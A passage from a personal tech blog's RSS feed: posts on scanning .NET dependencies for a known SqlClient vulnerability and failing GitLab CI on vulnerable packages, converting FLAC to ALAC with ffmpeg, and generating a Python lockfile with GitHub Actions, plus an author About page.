<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);">   &gt;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> System.Data.SqlClient</span><span style="color: light-dark(#FE640B, #FAB387);">      4.8.3</span><span style="color: light-dark(#FE640B, #FAB387);">       4.8.3</span><span style="color: light-dark(#40A02B, #A6E3A1);">      Moderate</span><span style="color: light-dark(#40A02B, #A6E3A1);">   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">                                                       High</span><span style="color: light-dark(#40A02B, #A6E3A1);">       https://github.com/advisories/GHSA-98g6-xh36-x2p7</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Locker</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> following</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">   [</span><span>net6.0</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">   Top-level</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Package</span><span style="color: light-dark(#40A02B, #A6E3A1);">            Requested</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Resolved</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Severity</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Advisory</span><span style="color: light-dark(#40A02B, #A6E3A1);"> URL</span></span>
<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);">   &gt;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> System.Data.SqlClient</span><span style="color: light-dark(#FE640B, #FAB387);">      4.8.3</span><span style="color: light-dark(#FE640B, #FAB387);">       4.8.3</span><span style="color: light-dark(#40A02B, #A6E3A1);">      Moderate</span><span style="color: light-dark(#40A02B, #A6E3A1);">   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">                                                       High</span><span style="color: light-dark(#40A02B, #A6E3A1);">       https://github.com/advisories/GHSA-98g6-xh36-x2p7</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">The</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Locker.Tests.Unit</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> no</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> current</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sources.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">The</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Pool</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> no</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> current</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sources.</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">Project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Repositories</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> following</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">   [</span><span>net6.0</span><span style="color: light-dark(#7C7F93, #9399B2);">]</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">   Top-level</span><span style="color: light-dark(#40A02B, #A6E3A1);"> Package</span><span style="color: light-dark(#40A02B, #A6E3A1);">            Requested</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Resolved</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Severity</span><span style="color: light-dark(#40A02B, #A6E3A1);">   Advisory</span><span style="color: light-dark(#40A02B, #A6E3A1);"> URL</span></span>
<span class="giallo-l"><span style="color: light-dark(#179299, #94E2D5);">   &gt;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> System.Data.SqlClient</span><span style="color: light-dark(#FE640B, #FAB387);">      4.8.3</span><span style="color: light-dark(#FE640B, #FAB387);">       4.8.3</span><span style="color: light-dark(#40A02B, #A6E3A1);">      Moderate</span><span style="color: light-dark(#40A02B, #A6E3A1);">   https://github.com/advisories/GHSA-8g2p-5pqh-5jmc</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">                                                       High</span><span style="color: light-dark(#40A02B, #A6E3A1);">       https://github.com/advisories/GHSA-98g6-xh36-x2p7</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">The</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> project</span><span style="color: light-dark(#179299, #94E2D5);"> `</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">X.Infrastructure.Rules</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> has</span><span style="color: light-dark(#40A02B, #A6E3A1);"> no</span><span style="color: light-dark(#40A02B, #A6E3A1);"> vulnerable</span><span style="color: light-dark(#40A02B, #A6E3A1);"> packages</span><span style="color: light-dark(#40A02B, #A6E3A1);"> given</span><span style="color: light-dark(#40A02B, #A6E3A1);"> the</span><span style="color: light-dark(#40A02B, #A6E3A1);"> current</span><span style="color: light-dark(#40A02B, #A6E3A1);"> sources.</span></span>
<span class="giallo-l"><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span><span style="color: light-dark(#D20F39, #F38BA8);font-style: italic;">.</span></span></code></pre>
<p>As you can see, there are several projects vulnerable to <a rel="noopener external" target="_blank" href="https://devhub.checkmarx.com/cve-details/CVE-2022-41064/">CVE-2022-41064</a>.</p>
<blockquote>
<p>.NET Framework System.Data.SqlClient versions prior to 4.8.5 and Microsoft.Data.SqlClient
versions prior to 1.1.4 and 2.0.0 prior to 2.1.2 is vulnerable to Information Disclosure Vulnerability.</p>
</blockquote>
<p>To get rid of the issue, it's enough to upgrade the package:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">dotnet</span><span style="color: light-dark(#40A02B, #A6E3A1);"> add</span><span style="color: light-dark(#40A02B, #A6E3A1);"> package</span><span style="color: light-dark(#40A02B, #A6E3A1);"> System.Data.SqlClient</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">v</span><span style="color: light-dark(#FE640B, #FAB387);"> 4.8.6</span></span></code></pre>
<p>Now, how can developers prevent such situations? You already know the answer: automation!</p>
<p>After sharing my observations with the team, I created a merge request with a new GitLab pipeline
that runs for every open merge request and master branch.</p>
<p>These are the changes in the <code>.gitlab-ci.yml</code> manifest:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">s</span><span style="color: light-dark(#1E66F5, #89B4FA);">tages</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">  -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> s</span><span style="color: light-dark(#40A02B, #A6E3A1);">ecurity</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">v</span><span style="color: light-dark(#1E66F5, #89B4FA);">ulnarable-dependencies</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  s</span><span style="color: light-dark(#1E66F5, #89B4FA);">tage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> s</span><span style="color: light-dark(#40A02B, #A6E3A1);">ecurity</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  i</span><span style="color: light-dark(#1E66F5, #89B4FA);">mage</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">cr.microsoft.com/dotnet/sdk:6.0-bullseye-slim</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  b</span><span style="color: light-dark(#1E66F5, #89B4FA);">efore_script</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> d</span><span style="color: light-dark(#40A02B, #A6E3A1);">otnet restore</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  s</span><span style="color: light-dark(#1E66F5, #89B4FA);">cript</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> d</span><span style="color: light-dark(#40A02B, #A6E3A1);">otnet list package --vulnerable 2&gt;&amp;1 | tee vulnerable-packages.log</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#8839EF, #CBA6F7);"> &gt;</span><span style="color: light-dark(#8839EF, #CBA6F7);">-</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      ! grep -qiw &quot;critical\|high\|moderate\|low&quot; vulnerable-packages.log;</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      if [ $? -ne 0 ]; then</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        echo &quot;🚨 Found vulnarable packages&quot;;</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        exit 1</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      else</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">        exit 0</span></span>
<span class="giallo-l"><span style="color: light-dark(#40A02B, #A6E3A1);">      fi</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  a</span><span style="color: light-dark(#1E66F5, #89B4FA);">rtifacts</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    w</span><span style="color: light-dark(#1E66F5, #89B4FA);">hen</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> a</span><span style="color: light-dark(#40A02B, #A6E3A1);">lways</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    e</span><span style="color: light-dark(#1E66F5, #89B4FA);">xpire_in</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> 1</span><span style="color: light-dark(#40A02B, #A6E3A1);">2h</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    p</span><span style="color: light-dark(#1E66F5, #89B4FA);">aths</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> v</span><span style="color: light-dark(#40A02B, #A6E3A1);">ulnerable-packages.log</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  o</span><span style="color: light-dark(#1E66F5, #89B4FA);">nly</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">aster</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> m</span><span style="color: light-dark(#40A02B, #A6E3A1);">erge_requests</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  t</span><span style="color: light-dark(#1E66F5, #89B4FA);">ags</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">    -</span><span style="color: light-dark(#40A02B, #A6E3A1);"> d</span><span style="color: light-dark(#40A02B, #A6E3A1);">ocker</span></span></code></pre>
<p>The pipeline will fail if any of the projects in the solution have vulnerable packages.
The downloadable log file contains the list of vulnerabilities and their severity.</p>
<p>This way, the team is always aware of the state of the dependencies and can take action to fix them.</p>
<p>References:</p>
<ul>
<li><a rel="noopener external" target="_blank" href="https://devblogs.microsoft.com/nuget/how-to-scan-nuget-packages-for-security-vulnerabilities/">How to Scan NuGet Packages for Security Vulnerabilities</a></li>
</ul>

        
      ]]></description>
    </item>
    
    <item>
      <title>About</title>
      <pubDate>Mon, 01 Jan 2024 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/about/</link>
      <guid>https://akrisanov.com/about/</guid>
      <description xml:base="https://akrisanov.com/about/"><![CDATA[
        <p>Published: 2024-01-01</p>
        
        
          <h2 id="hi-i-m-andrey">Hi, I'm Andrey</h2>
<p>I'm a software engineer specializing in production LLM inference, AI infrastructure and distributed systems.
I enjoy transforming complex systems into something straightforward, dependable, and easy to understand.</p>
<p>At Severstal, I am responsible for the architecture and technical development of DaVinci, a shared GenAI platform
that supports enterprise AI products and coding agents. Its inference foundation currently runs self-hosted,
open-weight models on Kubernetes, vLLM and 24 NVIDIA H200 GPUs.</p>
<p>My work covers model serving, traffic routing and admission control, performance and reliability, observability,
capacity planning, safe model rollout and multi-data-centre resilience. I also designed the target topology and
resilience strategy for a planned expansion to 48 H200 and eight H100 GPUs across two data centres.</p>
<h2 id="background">Background</h2>
<p>Prior to specialising in AI infrastructure, I developed and scaled production systems in the SaaS, fintech,
data privacy, payments and high-traffic consumer products sectors.</p>
<p>My experience includes:</p>
<ul>
<li>modernising a $3M+ ARR SaaS platform and improving critical backend paths by 2–10x, while achieving 99.998% availability;</li>
<li>designing and launching a content platform that reached over 20 million monthly active users;</li>
<li>building backend, cloud and distributed systems for start-ups and established companies in Germany and Russia.</li>
<li>working in senior individual contributor, technical leadership and CTO roles.</li>
</ul>
<p>I have consistently taken responsibility for important, technically complicated systems that are expected to work
reliably in production.</p>
<h2 id="writing-and-contact">Writing and contact</h2>
<p>On this site, I write about AI infrastructure, LLM inference, distributed systems and the practical lessons
I have learned from operating production platforms.</p>
<p>You can find my projects on <a rel="noopener external" target="_blank" href="https://github.com/akrisanov">GitHub</a>, connect with me on
<a rel="noopener external" target="_blank" href="https://www.linkedin.com/in/akrisanov/">LinkedIn</a>, or download my <a href="/files/andrey-krisanov-cv.pdf">résumé</a>.</p>

        
      ]]></description>
    </item>
    
    <item>
      <title>Convert Flac to Apple Lossless With FFmpeg</title>
      <pubDate>Mon, 23 Oct 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/</link>
      <guid>https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/</guid>
      <description xml:base="https://akrisanov.com/convert-flac-to-apple-lossless-with-ffmpeg/"><![CDATA[
        <p>Published: 2023-10-23</p>
        
        
          <p>I'm a longtime Apple Music user. Most of my so-called music collection is on the streaming service.
However, I occasionally buy rare or remastered releases ripped from CDs. These releases are usually
in the FLAC format, which Apple Music doesn't support. But I've found an easy workaround that
allows me to organize and play albums on the go.</p>
<p>The centerpiece of the workaround is FFmpeg. So if you don't already have it installed,
it's worth installing now:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">brew</span><span style="color: light-dark(#40A02B, #A6E3A1);"> install</span><span style="color: light-dark(#40A02B, #A6E3A1);"> ffmpeg</span></span></code></pre>
<p><span class="img-title">Homebrew Formula</span></p>
<p>When the tool is ready to use, navigate to the folder containing the FLAC files and run the following script:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#8839EF, #CBA6F7);">for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">c</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> ffmpeg</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">i</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">acodec</span><span style="color: light-dark(#40A02B, #A6E3A1);"> alac</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">vcodec</span><span style="color: light-dark(#40A02B, #A6E3A1);"> copy</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">basename</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> .flac</span><span style="color: light-dark(#179299, #94E2D5);">`</span><span style="color: light-dark(#40A02B, #A6E3A1);">.m4a</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> done</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> flac</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> mkdir</span><span style="color: light-dark(#40A02B, #A6E3A1);"> alac</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">f</span><span style="color: light-dark(#40A02B, #A6E3A1);">l</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#40A02B, #A6E3A1);">c</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> mv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">flac/</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> done</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> for</span><span> file</span><span style="color: light-dark(#8839EF, #CBA6F7);"> in</span><span style="color: light-dark(#40A02B, #A6E3A1);"> *</span><span style="color: light-dark(#40A02B, #A6E3A1);">.</span><span style="color: light-dark(#40A02B, #A6E3A1);">m</span><span style="color: light-dark(#40A02B, #A6E3A1);">4</span><span style="color: light-dark(#40A02B, #A6E3A1);">a</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> do</span><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;"> mv</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span>$</span><span>file</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> &quot;</span><span style="color: light-dark(#40A02B, #A6E3A1);">alac/</span><span style="color: light-dark(#40A02B, #A6E3A1);">&quot;</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span><span style="color: light-dark(#8839EF, #CBA6F7);"> done</span><span style="color: light-dark(#7C7F93, #9399B2);">;</span></span></code></pre>
<p><span class="img-title">Silly One-liner Converting FLAC to ALAC</span></p>
<p><img src="/images/Screenshot-2023-10-22-at-18.26.25.png" alt="" />
<span class="img-title">Susumu Hirasawa – Siren [Limited Edition]</span></p>
<p>The bash script converts the audio to the Apple Lossless format (<code>*.m4a</code>) and moves the files to the <code>alac</code> directory:</p>
<p><img src="/images/Screenshot-2023-10-22-at-18.27.10.png" alt="" /></p>
<p>Finally, the <code>alac</code> directory can be dragged to Apple Music to import the album and upload its tracks to the cloud.</p>
<p><img src="/images/Screenshot-2023-10-22-at-18.27.41.png" alt="" />
<span class="img-title">The Uploaded Album</span></p>
<div class="callout callout-warning">
You probably wonder why this album has no Lossless icon in Apple Music. Well, it turns out the
audio quality of the FLAC files wasn't on pair with lossless. So, make sure releases you buy or
rip, have a proper audio codec and quality.
</div>

        
      ]]></description>
    </item>
    
    <item>
      <title>Generating A Lockfile For Python Project Using Github Actions</title>
      <pubDate>Thu, 12 Oct 2023 00:00:00 +0000</pubDate>
      <author>Andrey Krisanov</author>
      <link>https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/</link>
      <guid>https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/</guid>
      <description xml:base="https://akrisanov.com/using-github-actions-to-generate-a-lockfile-for-python-project/"><![CDATA[
        <p>Published: 2023-10-12</p>
        
        
          <p>If you're working on a project that needs to be packaged for a specific environment other than your
machine, the CI/CD server is your best friend. Products like Github Actions can save you time and
the hassle of building dependencies you won't use in development.</p>
<p>For example, many developers love Mac computers, especially the ones that come with Apple silicon.
The sad truth is that we rarely deploy our code on servers with these processors and MacOS.
Most of the time, projects run on Linux. Unfortunately, Python can't guarantee a deterministic
or reproducible environment.</p>
<p>Running the command to create a list of all the dependencies that your package will need gives
a different result on MacOS, Linux, Windows, and so on:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);font-style: italic;">pip-compile</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-allow-unsafe</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-generate-hashes</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-no-emit-index-url</span><span style="color: light-dark(#40A02B, #A6E3A1);"> -</span><span style="color: light-dark(#40A02B, #A6E3A1);">-output-file=requirements-lock.txt</span><span style="color: light-dark(#179299, #94E2D5);"> &gt;</span><span style="color: light-dark(#40A02B, #A6E3A1);"> requirements-lock.txt</span></span></code></pre>
<p><span class="img-title">Using pip-tools to compile a requirements.txt file from your dependencies</span></p>
<p>Not all dependencies have universal wheels. Moreover, users can install different Python versions.</p>
<p>Now that you see the problem, let's take a quick look at possible solutions.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#4C4F69, #CDD6F4); background-color: light-dark(#EFF1F5, #1E1E2E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> B</span><span style="color: light-dark(#40A02B, #A6E3A1);">uild requirements-lock.txt</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#FE640B, #FAB387);">on</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  w</span><span style="color: light-dark(#1E66F5, #89B4FA);">orkflow_dispatch</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">j</span><span style="color: light-dark(#1E66F5, #89B4FA);">obs</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">  b</span><span style="color: light-dark(#1E66F5, #89B4FA);">uild-requirements-lock</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    r</span><span style="color: light-dark(#1E66F5, #89B4FA);">uns-on</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> u</span><span style="color: light-dark(#40A02B, #A6E3A1);">buntu-22.04</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">    s</span><span style="color: light-dark(#1E66F5, #89B4FA);">teps</span><span style="color: light-dark(#179299, #94E2D5);">:</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> u</span><span style="color: light-dark(#1E66F5, #89B4FA);">ses</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> a</span><span style="color: light-dark(#40A02B, #A6E3A1);">ctions/checkout@v3</span></span>
<span class="giallo-l"><span style="color: light-dark(#7C7F93, #9399B2);">      -</span><span style="color: light-dark(#1E66F5, #89B4FA);"> n</span><span style="color: light-dark(#1E66F5, #89B4FA);">ame</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> S</span><span style="color: light-dark(#40A02B, #A6E3A1);">et up Python 3.9</span></span>
<span class="giallo-l"><span style="color: light-dark(#1E66F5, #89B4FA);">        u</span><span style="color: light-dark(#1E66F5, #89B4FA);">ses</span><span style="color: light-dark(#179299, #94E2D5);">:</span><span style="color: light-dark(#40A02B, #A6E3A1);"> a</span><span style="color: light-dark(#40A02B, #A6E3A1);">ctions/setup-python@v3</span></span>
